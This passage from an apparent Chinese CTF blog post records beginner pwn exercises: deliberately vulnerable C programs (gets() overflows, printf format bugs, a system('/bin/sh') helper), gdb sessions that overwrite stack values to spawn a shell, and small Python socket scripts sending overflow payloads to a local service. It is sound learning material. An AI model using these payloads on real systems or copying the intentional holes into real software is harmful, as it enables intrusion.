executable)\u662f\u4e00\u79cd\u751f\u6210\u5730\u5740\u65e0\u5173\u53ef\u6267\u884c\u7a0b\u5e8f\u7684\u6280\u672f\u3002\u5982\u679c\u7f16\u8bd1\u5668\u5728\u751f\u6210\u53ef\u6267\u884c\u7a0b\u5e8f\u7684\u8fc7\u7a0b\u4e2d\u4f7f\u7528\u4e86PIE\uff0c\u90a3\u4e48\u5f53\u53ef\u6267\u884c\u7a0b\u5e8f\u88ab\u52a0\u8f7d\u5230\u5185\u5b58\u4e2d\u65f6\u5176\u52a0\u8f7d\u5730\u5740\u5b58\u5728\u4e0d\u53ef\u9884\u77e5\u6027\u3002<\/p>\n<p>\u8be6\u7ec6\u53ef\u4ee5\u770bhttps:\/\/blog.csdn.net\/weixin_33842304\/article\/details\/91443399<\/p>\n<\/blockquote>\n<pre><code class=\"language-bash\">hack@QC-20210627LTVJ:\/mnt\/e\/qqdownload\/pwn\/chapter_1\/test_4$ gcc question_1.c -no-pie -o question_1_x64_nopie\nquestion_1.c: In function \u2018main\u2019:\nquestion_1.c:22:2: warning: implicit declaration of function \u2018gets\u2019; did you mean \u2018fgets\u2019? [-Wimplicit-function-declaration]\n  gets(a);\n  ^~~~\n  fgets\nquestion_1.c:23:9: warning: format not a string literal and no format arguments [-Wformat-security]\n  printf(a);\n         ^\n\/tmp\/ccpFE2xY.o: In function `main&#039;:\nquestion_1.c:(.text+0xc4): warning: the `gets&#039; function is dangerous and should not be used.\nhack@QC-20210627LTVJ:\/mnt\/e\/qqdownload\/pwn\/chapter_1\/test_4$ ll\ntotal 856\ndrwxrwxrwx 1 hack hack   4096 Jun 15 00:14 .\/\ndrwxrwxrwx 1 hack hack   4096 Jun 10 17:53 ..\/\n-rwxrwxrwx 1 hack hack   8760 Jun 14 13:30 a.out*\n-rwxrwxrwx 1 hack hack    409 Jun 10 17:53 question_1.c*\n-rwxrwxrwx 1 hack hack   8728 Jun 15 00:14 question_1_x64_nopie*\n-rwxrwxrwx 1 hack hack 850080 Jun 14 13:31 question_1_x64_static*\nhack@QC-20210627LTVJ:\/mnt\/e\/qqdownload\/pwn\/chapter_1\/test_4$ objdump -d question_1_x64_nopie -M intel |less\n00000000004007bb &lt;main&gt;:\n  4007bb:       55                      push   rbp\n  4007bc:       48 89 e5                mov    rbp,rsp\n  4007bf:       48 83 ec 20             sub    rsp,0x20\n  4007c3:       64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28\n  4007ca:       00 00\n  4007cc:       48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax\n  4007d0:       31 c0                   xor    eax,eax\n  4007d2:       48 c7 45 e8 00 00 00    mov    QWORD PTR [rbp-0x18],0x0\n  4007d9:       00\n  4007da:       48 c7 45 f0 00 00 00    mov    QWORD PTR [rbp-0x10],0x0\n  4007e1:       00\n  4007e2:       48 8d 3d db 00 00 00    lea    rdi,[rip+0xdb]        # 4008c4 &lt;_IO_stdin_used+0x4&gt;\n  4007e9:       e8 02 fe ff ff          call   4005f0 &lt;puts@plt&gt;\n  4007ee:       48 8d 45 e8             lea    rax,[rbp-0x18]\n  4007f2:       48 89 c7                mov    rdi,rax\n  4007f5:       b8 00 00 00 00          mov    eax,0x0\n  4007fa:       e8 31 fe ff ff          call   400630 &lt;gets@plt&gt;\n  4007ff:       48 8d 45 e8             lea    rax,[rbp-0x18]\n  400803:       48 89 c7                mov    rdi,rax\n  400806:       b8 00 00 00 00          mov    eax,0x0\n  40080b:       e8 10 fe ff ff          call   400620 &lt;printf@plt&gt;\n  400810:       0f b6 45 f0             movzx  eax,BYTE PTR [rbp-0x10]\n  400814:       3c 61                   cmp    al,0x61\n  400816:       75 0c                   jne    400824 &lt;main+0x69&gt;\n  400818:       48 8d 3d 39 08 20 00    lea    rdi,[rip+0x200839]        # 601058 &lt;sh&gt;\n  40081f:       e8 78 ff ff ff          call   40079c &lt;func&gt;\n  400824:       b8 00 00 00 00          mov    eax,0x0\n  400829:       48 8b 55 f8             mov    rdx,QWORD PTR [rbp-0x8]\n  40082d:       64 48 33 14 25 28 00    xor    rdx,QWORD PTR fs:0x28\n  400834:       00 00\n  400836:       74 05                   je     40083d &lt;main+0x82&gt;\n  400838:       e8 c3 fd ff ff          call   400600 &lt;__stack_chk_fail@plt&gt;\n  40083d:       c9                      leave\n  40083e:       c3                      ret\n  40083f:       90                      nop<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202206160153618.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202206160153618.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220615005254023\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h2>\u4f5c\u4e1a<\/h2>\n<pre><code class=\"language-bash\">hack@QC-20210627LTVJ:\/mnt\/e\/qqdownload\/pwn\/chapter_1\/test_5$ ls\nquestion_2.c  question_2_x64\nhack@QC-20210627LTVJ:\/mnt\/e\/qqdownload\/pwn\/chapter_1\/test_5$ cat question_2.c\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;unistd.h&gt;\nchar sh[]=&quot;\/bin\/sh&quot;;\n\nint init_func(){\n    setvbuf(stdin,0,2,0);\n    setvbuf(stdout,0,2,0);\n    setvbuf(stderr,0,2,0);\n    return 0;\n}\n\nint func(char *cmd){\n        system(cmd);\n        return 0;\n}\n\nint main(){\n    init_func();\n    char a[8] = {};\n    char b[8] = {};\n        puts(&quot;input:&quot;);\n        gets(a);\n        printf(a);\n        if(!strcmp(b,&quot;deadbeef&quot;)){\n                func(sh);\n        }\n    return 0;\n}\nhack@QC-20210627LTVJ:\/mnt\/e\/qqdownload\/pwn\/chapter_1\/test_5$ .\/question_2_x64\ninput:\naaaaaaaadeadbeef\naaaaaaaadeadbeef$ whoami\nhack\n$ exit<\/code><\/pre>\n<pre><code class=\"language-assembly\">hack@QC-20210627LTVJ:\/mnt\/e\/qqdownload\/pwn\/chapter_1\/test_5$ gdb .\/question_2_x64\nGNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1\nCopyright (C) 2018 Free Software Foundation, Inc.\nLicense GPLv3+: GNU GPL version 3 or later &lt;http:\/\/gnu.org\/licenses\/gpl.html&gt;\nThis is free software: you are free to change and redistribute it.\nThere is NO WARRANTY, to the extent permitted by law.  Type &quot;show copying&quot;\nand &quot;show warranty&quot; for details.\nThis GDB was configured as &quot;x86_64-linux-gnu&quot;.\nType &quot;show configuration&quot; for configuration details.\nFor bug reporting instructions, please see:\n&lt;http:\/\/www.gnu.org\/software\/gdb\/bugs\/&gt;.\nFind the GDB manual and other documentation resources online at:\n&lt;http:\/\/www.gnu.org\/software\/gdb\/documentation\/&gt;.\nFor help, type &quot;help&quot;.\nType &quot;apropos word&quot; to search for commands related to &quot;word&quot;...\nReading symbols from .\/question_2_x64...(no debugging symbols found)...done.\n\n(gdb) start\nTemporary breakpoint 3 at 0x555555555295\nStarting program: \/mnt\/e\/qqdownload\/pwn\/chapter_1\/test_5\/question_2_x64\n\nTemporary breakpoint 3, 0x0000555555555295 in main ()\n(gdb) disassemble $rip\nDump of assembler code for function main:\n=&gt; 0x0000555555555295 &lt;+0&gt;:     endbr64\n   0x0000555555555299 &lt;+4&gt;:     push   rbp\n   0x000055555555529a &lt;+5&gt;:     mov    rbp,rsp\n   0x000055555555529d &lt;+8&gt;:     sub    rsp,0x20\n   0x00005555555552a1 &lt;+12&gt;:    mov    rax,QWORD PTR fs:0x28\n   0x00005555555552aa &lt;+21&gt;:    mov    QWORD PTR [rbp-0x8],rax\n   0x00005555555552ae &lt;+25&gt;:    xor    eax,eax\n   0x00005555555552b0 &lt;+27&gt;:    mov    eax,0x0\n   0x00005555555552b5 &lt;+32&gt;:    call   0x555555555209 &lt;init_func&gt;\n   0x00005555555552ba &lt;+37&gt;:    mov    QWORD PTR [rbp-0x18],0x0\n   0x00005555555552c2 &lt;+45&gt;:    mov    QWORD PTR [rbp-0x10],0x0\n   0x00005555555552ca &lt;+53&gt;:    lea    rdi,[rip+0xd33]        # 0x555555556004\n   0x00005555555552d1 &lt;+60&gt;:    call   0x5555555550b0 &lt;puts@plt&gt;\n   0x00005555555552d6 &lt;+65&gt;:    lea    rax,[rbp-0x18]\n   0x00005555555552da &lt;+69&gt;:    mov    rdi,rax\n   0x00005555555552dd &lt;+72&gt;:    mov    eax,0x0\n   0x00005555555552e2 &lt;+77&gt;:    call   0x555555555100 &lt;gets@plt&gt;\n   0x00005555555552e7 &lt;+82&gt;:    lea    rax,[rbp-0x18]\n   0x00005555555552eb &lt;+86&gt;:    mov    rdi,rax\n   0x00005555555552ee &lt;+89&gt;:    mov    eax,0x0\n   0x00005555555552f3 &lt;+94&gt;:    call   0x5555555550e0 &lt;printf@plt&gt;\n   0x00005555555552f8 &lt;+99&gt;:    lea    rax,[rbp-0x10]\n   0x00005555555552fc &lt;+103&gt;:   lea    rsi,[rip+0xd08]        # 0x55555555600b\n   0x0000555555555303 &lt;+110&gt;:   mov    rdi,rax\n   0x0000555555555306 &lt;+113&gt;:   call   0x5555555550f0 &lt;strcmp@plt&gt;\n   0x000055555555530b &lt;+118&gt;:   test   eax,eax\n   0x000055555555530d &lt;+120&gt;:   jne    0x55555555531b &lt;main+134&gt;\n   0x000055555555530f &lt;+122&gt;:   lea    rdi,[rip+0x2cfa]        # 0x555555558010 &lt;sh&gt;\n---Type &lt;return&gt; to continue, or q &lt;return&gt; to quit---\n   0x0000555555555316 &lt;+129&gt;:   call   0x555555555272 &lt;func&gt;\n   0x000055555555531b &lt;+134&gt;:   mov    eax,0x0\n   0x0000555555555320 &lt;+139&gt;:   mov    rdx,QWORD PTR [rbp-0x8]\n   0x0000555555555324 &lt;+143&gt;:   xor    rdx,QWORD PTR fs:0x28\n   0x000055555555532d &lt;+152&gt;:   je     0x555555555334 &lt;main+159&gt;\n   0x000055555555532f &lt;+154&gt;:   call   0x5555555550c0 &lt;__stack_chk_fail@plt&gt;\n   0x0000555555555334 &lt;+159&gt;:   leave\n   0x0000555555555335 &lt;+160&gt;:   ret\nEnd of assembler dump.\n(gdb) b *0x000055555555530b\nBreakpoint 4 at 0x55555555530b\n(gdb) c\nContinuing.\ninput:\naaaaaaa\naaaaaaa\nBreakpoint 4, 0x000055555555530b in main ()\n(gdb) x\/10i $rip\n=&gt; 0x55555555530b &lt;main+118&gt;:   test   eax,eax\n   0x55555555530d &lt;main+120&gt;:   jne    0x55555555531b &lt;main+134&gt;\n   0x55555555530f &lt;main+122&gt;:   lea    rdi,[rip+0x2cfa]        # 0x555555558010 &lt;sh&gt;\n   0x555555555316 &lt;main+129&gt;:   call   0x555555555272 &lt;func&gt;\n   0x55555555531b &lt;main+134&gt;:   mov    eax,0x0\n   0x555555555320 &lt;main+139&gt;:   mov    rdx,QWORD PTR [rbp-0x8]\n   0x555555555324 &lt;main+143&gt;:   xor    rdx,QWORD PTR fs:0x28\n   0x55555555532d &lt;main+152&gt;:   je     0x555555555334 &lt;main+159&gt;\n   0x55555555532f &lt;main+154&gt;:   call   0x5555555550c0 &lt;__stack_chk_fail@plt&gt;\n   0x555555555334 &lt;main+159&gt;:   leave\n(gdb) i r\nrax            0xffffff9c       4294967196\nrbx            0x0      0\nrcx            0x0      0\nrdx            0x64     100\nrsi            0x55555555600b   93824992239627\nrdi            0x7fffffffdb90   140737488346000\nrbp            0x7fffffffdba0   0x7fffffffdba0\nrsp            0x7fffffffdb80   0x7fffffffdb80\nr8             0x7      7\nr9             0x7ffff7fe94c0   140737354044608\nr10            0x2      2\nr11            0x246    582\nr12            0x555555555120   93824992235808\nr13            0x7fffffffdc80   140737488346240\nr14            0x0      0\nr15            0x0      0\nrip            0x55555555530b   0x55555555530b &lt;main+118&gt;\neflags         0x297    [ CF PF AF SF IF ]\ncs             0x33     51\nss             0x2b     43\nds             0x0      0\nes             0x0      0\nfs             0x0      0\ngs             0x0      0\n(gdb) set $eax=0x00\n(gdb) i r\nrax            0x0      0\nrbx            0x0      0\nrcx            0x0      0\nrdx            0x64     100\nrsi            0x55555555600b   93824992239627\nrdi            0x7fffffffdb90   140737488346000\nrbp            0x7fffffffdba0   0x7fffffffdba0\nrsp            0x7fffffffdb80   0x7fffffffdb80\nr8             0x7      7\nr9             0x7ffff7fe94c0   140737354044608\nr10            0x2      2\nr11            0x246    582\nr12            0x555555555120   93824992235808\nr13            0x7fffffffdc80   140737488346240\nr14            0x0      0\nr15            0x0      0\nrip            0x55555555530b   0x55555555530b &lt;main+118&gt;\neflags         0x297    [ CF PF AF SF IF ]\ncs             0x33     51\nss             0x2b     43\nds             0x0      0\nes             0x0      0\nfs             0x0      0\ngs             0x0      0\n(gdb) ni\n0x000055555555530d in main ()\n(gdb) x\/10i $rip\n=&gt; 0x55555555530d &lt;main+120&gt;:   jne    0x55555555531b &lt;main+134&gt;\n   0x55555555530f &lt;main+122&gt;:   lea    rdi,[rip+0x2cfa]        # 0x555555558010 &lt;sh&gt;\n   0x555555555316 &lt;main+129&gt;:   call   0x555555555272 &lt;func&gt;\n   0x55555555531b &lt;main+134&gt;:   mov    eax,0x0\n   0x555555555320 &lt;main+139&gt;:   mov    rdx,QWORD PTR [rbp-0x8]\n   0x555555555324 &lt;main+143&gt;:   xor    rdx,QWORD PTR fs:0x28\n   0x55555555532d &lt;main+152&gt;:   je     0x555555555334 &lt;main+159&gt;\n   0x55555555532f &lt;main+154&gt;:   call   0x5555555550c0 &lt;__stack_chk_fail@plt&gt;\n   0x555555555334 &lt;main+159&gt;:   leave\n   0x555555555335 &lt;main+160&gt;:   ret\n(gdb) ni\n0x000055555555530f in main ()\n(gdb) x\/10i $rip\n=&gt; 0x55555555530f &lt;main+122&gt;:   lea    rdi,[rip+0x2cfa]        # 0x555555558010 &lt;sh&gt;\n   0x555555555316 &lt;main+129&gt;:   call   0x555555555272 &lt;func&gt;\n   0x55555555531b &lt;main+134&gt;:   mov    eax,0x0\n   0x555555555320 &lt;main+139&gt;:   mov    rdx,QWORD PTR [rbp-0x8]\n   0x555555555324 &lt;main+143&gt;:   xor    rdx,QWORD PTR fs:0x28\n   0x55555555532d &lt;main+152&gt;:   je     0x555555555334 &lt;main+159&gt;\n   0x55555555532f &lt;main+154&gt;:   call   0x5555555550c0 &lt;__stack_chk_fail@plt&gt;\n   0x555555555334 &lt;main+159&gt;:   leave\n   0x555555555335 &lt;main+160&gt;:   ret\n   0x555555555336:      nop    WORD PTR cs:[rax+rax*1+0x0]\n(gdb) n\nSingle stepping until exit from function main,\nwhich has no line number information.\n$ whoami\nhack<\/code><\/pre>\n<h1>python\u811a\u672cpwn<\/h1>\n<h2>\u57fa\u7840\u5185\u5bb9<\/h2>\n<p>shell\u65e0\u6cd5\u6253\u4e0d\u53ef\u89c1\u5b57\u7b26\uff0c\u53ea\u80fd\u4f7f\u7528\u811a\u672c\u8fdb\u884cpwn\uff0c\u76ee\u524d\u5e38\u89c1\u7684pwn\u6846\u67b6\u662fpwntools\uff0c\u8fd9\u91cc\u4ee5\u4e00\u4e2apython2\u811a\u672c\u8fdb\u884c\u89e3\u91ca\uff1a<\/p>\n<pre><code class=\"language-bash\">hack@QC-20210627LTVJ:\/mnt\/e\/qqdownload\/pwn\/chapter_1\/test_5$ cd ..\/test_6\nhack@QC-20210627LTVJ:\/mnt\/e\/qqdownload\/pwn\/chapter_1\/test_6$ ls\nquestion_1_plus.c  question_1_plus_py2.py  question_1_plus_x64\nhack@QC-20210627LTVJ:\/mnt\/e\/qqdownload\/pwn\/chapter_1\/test_6$ cat question_1_plus.c\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;unistd.h&gt;\nchar sh[]=&quot;\/bin\/sh&quot;;\nint init_func(){\n    setvbuf(stdin,0,2,0);\n    setvbuf(stdout,0,2,0);\n    setvbuf(stderr,0,2,0);\n    return 0;\n}\n\nint func(char *cmd){\n        system(cmd);\n        return 0;\n}\n\nint main(){\n    char a[8] = {};\n    char b[8] = {};\n    \/\/char a[1] = {&#039;b&#039;};\n        puts(&quot;input:&quot;);\n        gets(a);\n        printf(a);\n        if(b[0]==0x10){\n                func(sh);\n        }\n    return 0;\n}<\/code><\/pre>\n<pre><code class=\"language-python\">hack@QC-20210627LTVJ:\/mnt\/e\/qqdownload\/pwn\/chapter_1\/test_6$ .\/question_1_plus_x64\ninput:\naaaaaaaa\\x10\naaaaaaaa\\x10hack@QC-20210627LTVJ:\/mnt\/e\/qqdownload\/pwn\/chapter_1\/test_6$ cat question_1_plus_py2.py\nimport socket\nimport telnetlib\nimport struct\n\ndef P32(val):\n        return struct.pack(&quot;&quot;, val)\n\ndef pwn():\n        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        s.connect((&quot;127.0.0.1&quot;, 8888))\n        payload = &#039;A&#039;*0x8 + &#039;\\x10&#039;\n        s.sendall(payload + &#039;\\n&#039;)\n        t = telnetlib.Telnet()\n        t.sock = s\n        t.interact()\n\nif __name__ == &quot;__main__&quot;:\n    # socat tcp-l:8888,fork exec:.\/question_1_plus_x64,reuseaddr\n        pwn()<\/code><\/pre>\n<pre><code class=\"language-bash\">hack@QC-20210627LTVJ:\/mnt\/e\/qqdownload\/pwn\/chapter_1\/test_6$ nc 127.0.0.1 8888\naaaaaaaadeadbeef\ninput:\naaaaaaaadeadbeef\nhack@QC-20210627LTVJ:\/mnt\/e\/qqdownload\/pwn\/chapter_1\/test_6$ nc 127.0.0.1 8888\naaaaaaaaaa\ninput:\naaaaaaaaaa<\/code><\/pre>\n<h2>\u4f5c\u4e1a<\/h2>\n<pre><code class=\"language-bash\">hack@QC-20210627LTVJ:\/mnt\/e\/qqdownload\/pwn\/chapter_1\/test_7$ gcc -no-pie question_3.c\nquestion_3.c: In function \u2018main\u2019:\nquestion_3.c:26:2: warning: implicit declaration of function \u2018gets\u2019; did you mean \u2018fgets\u2019? [-Wimplicit-function-declaration]\n  gets(&amp;a);\n  ^~~~\n  fgets\n\/tmp\/cc9KypAt.o: In function `main&#039;:\nquestion_3.c:(.text+0xc6): warning: the `gets&#039; function is dangerous and should not be used.\nhack@QC-20210627LTVJ:\/mnt\/e\/qqdownload\/pwn\/chapter_1\/test_7$ ls\na.out  question_3.c  question_3_x64\nhack@QC-20210627LTVJ:\/mnt\/e\/qqdownload\/pwn\/chapter_1\/test_7$ gdb .\/a.out\nGNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1\nCopyright (C) 2018 Free Software Foundation, Inc.\nLicense GPLv3+: GNU GPL version 3 or later &lt;http:\/\/gnu.org\/licenses\/gpl.html&gt;\nThis is free software: you are free to change and redistribute it.\nThere is NO WARRANTY, to the extent permitted by law.  Type &quot;show copying&quot;\nand &quot;show warranty&quot; for details.\nThis GDB was configured as &quot;x86_64-linux-gnu&quot;.\nType &quot;show configuration&quot; for configuration details.\nFor bug reporting instructions, please see:\n&lt;http:\/\/www.gnu.org\/software\/gdb\/bugs\/&gt;.\nFind the GDB manual and other documentation resources online at:\n&lt;http:\/\/www.gnu.org\/software\/gdb\/documentation\/&gt;.\nFor help, type &quot;help&quot;.\nType &quot;apropos word&quot; to search for commands related to &quot;word&quot;...\nReading symbols from .\/a.out...(no debugging symbols found)...done.\n(gdb) start\nTemporary breakpoint 1 at 0x40076f\nStarting program: \/mnt\/e\/qqdownload\/pwn\/chapter_1\/test_7\/a.out\n\nTemporary breakpoint 1, 0x000000000040076f in main ()\n(gdb) disassemble main\nDump of assembler code for function main:\n   0x000000000040076b &lt;+0&gt;:     push   rbp\n   0x000000000040076c &lt;+1&gt;:     mov    rbp,rsp\n=&gt; 0x000000000040076f &lt;+4&gt;:     sub    rsp,0x20\n   0x0000000000400773 &lt;+8&gt;:     mov    rax,QWORD PTR fs:0x28\n   0x000000000040077c &lt;+17&gt;:    mov    QWORD PTR [rbp-0x8],rax\n   0x0000000000400780 &lt;+21&gt;:    xor    eax,eax\n   0x0000000000400782 &lt;+23&gt;:    mov    eax,0x0\n   0x0000000000400787 &lt;+28&gt;:    call   0x4006e7 &lt;init_func&gt;\n   0x000000000040078c &lt;+33&gt;:    mov    QWORD PTR [rbp-0x10],0x0\n   0x0000000000400794 &lt;+41&gt;:    lea    rdi,[rip+0xc9]        # 0x400864\n   0x000000000040079b &lt;+48&gt;:    call   0x4005b0 &lt;puts@plt&gt;\n   0x00000000004007a0 &lt;+53&gt;:    lea    rax,[rbp-0x14]\n   0x00000000004007a4 &lt;+57&gt;:    mov    rdi,rax\n   0x00000000004007a7 &lt;+60&gt;:    mov    eax,0x0\n   0x00000000004007ac &lt;+65&gt;:    call   0x4005e0 &lt;gets@plt&gt;\n   0x00000000004007b1 &lt;+70&gt;:    cmp    QWORD PTR [rbp-0x10],0x0\n   0x00000000004007b6 &lt;+75&gt;:    je     0x4007c3 &lt;main+88&gt;\n   0x00000000004007b8 &lt;+77&gt;:    mov    rdx,QWORD PTR [rbp-0x10]\n   0x00000000004007bc &lt;+81&gt;:    mov    eax,0x0\n   0x00000000004007c1 &lt;+86&gt;:    call   rdx\n   0x00000000004007c3 &lt;+88&gt;:    mov    eax,0x0\n   0x00000000004007c8 &lt;+93&gt;:    mov    rcx,QWORD PTR [rbp-0x8]\n   0x00000000004007cc &lt;+97&gt;:    xor    rcx,QWORD PTR fs:0x28\n   0x00000000004007d5 &lt;+106&gt;:   je     0x4007dc &lt;main+113&gt;\n   0x00000000004007d7 &lt;+108&gt;:   call   0x4005c0 &lt;__stack_chk_fail@plt&gt;\n   0x00000000004007dc &lt;+113&gt;:   leave\n   0x00000000004007dd &lt;+114&gt;:   ret\nEnd of assembler dump.\n(gdb) b *0x00000000004007b8\nBreakpoint 2 at 0x4007b8\n(gdb) c\nContinuing.\ninput:\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n\nBreakpoint 2, 0x00000000004007b8 in main ()\n(gdb) x\/10i $rip\n=&gt; 0x4007b8 &lt;main+77&gt;:  mov    rdx,QWORD PTR [rbp-0x10]\n   0x4007bc &lt;main+81&gt;:  mov    eax,0x0\n   0x4007c1 &lt;main+86&gt;:  call   rdx\n   0x4007c3 &lt;main+88&gt;:  mov    eax,0x0\n   0x4007c8 &lt;main+93&gt;:  mov    rcx,QWORD PTR [rbp-0x8]\n   0x4007cc &lt;main+97&gt;:  xor    rcx,QWORD PTR fs:0x28\n   0x4007d5 &lt;main+106&gt;: je     0x4007dc &lt;main+113&gt;\n   0x4007d7 &lt;main+108&gt;: call   0x4005c0 &lt;__stack_chk_fail@plt&gt;\n   0x4007dc &lt;main+113&gt;: leave\n   0x4007dd &lt;main+114&gt;: ret\n(gdb) x\/20g $rbp-0x10\n0x7fffffffdba0: 0x6161616161616161      0x6161616161616161\n0x7fffffffdbb0: 0x6161616161616161      0x6161616161616161\n0x7fffffffdbc0: 0x6161616161616161      0x6161616161616161\n0x7fffffffdbd0: 0x6161616161616161      0x6161616161616161\n0x7fffffffdbe0: 0x6161616161616161      0x77c3006161616161\n0x7fffffffdbf0: 0x0000000000400600      0x00007fffffffdc90\n0x7fffffffdc00: 0x0000000000000000      0x0000000000000000\n0x7fffffffdc10: 0x883cca95299ca51c      0x883cda2ae662a51c\n0x7fffffffdc20: 0x00007fff00000000      0x0000000000000000\n0x7fffffffdc30: 0x0000000000000000      0x00007ffff7de38d3\n(gdb) p &amp;func\n$1 = (&lt;text variable, no debug info&gt; *) 0x40074c &lt;func&gt;\n(gdb) set *0x7fffffffdba0=0x40074c\n(gdb) x\/20g $rbp-0x10\n0x7fffffffdba0: 0x616161610040074c      0x6161616161616161\n0x7fffffffdbb0: 0x6161616161616161      0x6161616161616161\n0x7fffffffdbc0: 0x6161616161616161      0x6161616161616161\n0x7fffffffdbd0: 0x6161616161616161      0x6161616161616161\n0x7fffffffdbe0: 0x6161616161616161      0x77c3006161616161\n0x7fffffffdbf0: 0x0000000000400600      0x00007fffffffdc90\n0x7fffffffdc00: 0x0000000000000000      0x0000000000000000\n0x7fffffffdc10: 0x883cca95299ca51c      0x883cda2ae662a51c\n0x7fffffffdc20: 0x00007fff00000000      0x0000000000000000\n0x7fffffffdc30: 0x0000000000000000      0x00007ffff7de38d3\n(gdb) set *0x7fffffffdba4=0\n(gdb) x\/20g $rbp-0x10\n0x7fffffffdba0: 0x000000000040074c      0x6161616161616161\n0x7fffffffdbb0: 0x6161616161616161      0x6161616161616161\n0x7fffffffdbc0: 0x6161616161616161      0x6161616161616161\n0x7fffffffdbd0: 0x6161616161616161      0x6161616161616161\n0x7fffffffdbe0: 0x6161616161616161      0x77c3006161616161\n0x7fffffffdbf0: 0x0000000000400600      0x00007fffffffdc90\n0x7fffffffdc00: 0x0000000000000000      0x0000000000000000\n0x7fffffffdc10: 0x883cca95299ca51c      0x883cda2ae662a51c\n0x7fffffffdc20: 0x00007fff00000000      0x0000000000000000\n0x7fffffffdc30: 0x0000000000000000      0x00007ffff7de38d3\n(gdb) x\/10i $rip\n=&gt; 0x4007b8 &lt;main+77&gt;:  mov    rdx,QWORD PTR [rbp-0x10]\n   0x4007bc &lt;main+81&gt;:  mov    eax,0x0\n   0x4007c1 &lt;main+86&gt;:  call   rdx\n   0x4007c3 &lt;main+88&gt;:  mov    eax,0x0\n   0x4007c8 &lt;main+93&gt;:  mov    rcx,QWORD PTR [rbp-0x8]\n   0x4007cc &lt;main+97&gt;:  xor    rcx,QWORD PTR fs:0x28\n   0x4007d5 &lt;main+106&gt;: je     0x4007dc &lt;main+113&gt;\n   0x4007d7 &lt;main+108&gt;: call   0x4005c0 &lt;__stack_chk_fail@plt&gt;\n   0x4007dc &lt;main+113&gt;: leave\n   0x4007dd &lt;main+114&gt;: ret\n(gdb) n\nSingle stepping until exit from function main,\nwhich has no line number information.\n$ whoami\nhack<\/code><\/pre>\n<pre><code class=\"language-python\">import socket\nimport telnetlib\nimport struct\n\ndef P32(val):\n        return struct.pack(&quot;&quot;, val)\n\ndef pwn():\n        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        s.connect((&quot;127.0.0.1&quot;, 8888))\n        payload = &#039;A&#039;*4 + &#039;\\x1f\\x12\\x40\\x00\\x00\\x00\\x00\\x00&#039;  #\u6ce8\u610f\u7aef\u5e8f\n        s.sendall(payload + &#039;\\n&#039;)\n        t = telnetlib.Telnet()\n        t.sock = s\n        t.interact()\n\nif __name__ == &quot;__main__&quot;:\n    # socat tcp-l:8888,fork exec:.\/question_1_plus_x64,reuseaddr\n        pwn()<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>gcc -o gcc -O1\/O2\/O3 -O\uff0c-O1\uff1a\u8fd9\u4e24\u4e2a\u547d\u4ee4\u7684\u6548\u679c\u662f\u4e00\u6837\u7684\uff0c\u76ee\u7684\u90fd\u662f\u5728\u4e0d\u5f71\u54cd\u7f16\u8bd1\u901f\u5ea6\u7684\u524d [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":115,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,19],"tags":[],"class_list":["post-179","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ctf-and-protest","category-pwn"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/179","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=179"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/179\/revisions"}],"predecessor-version":[{"id":180,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/179\/revisions\/180"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media\/115"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=179"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=179"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=179"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}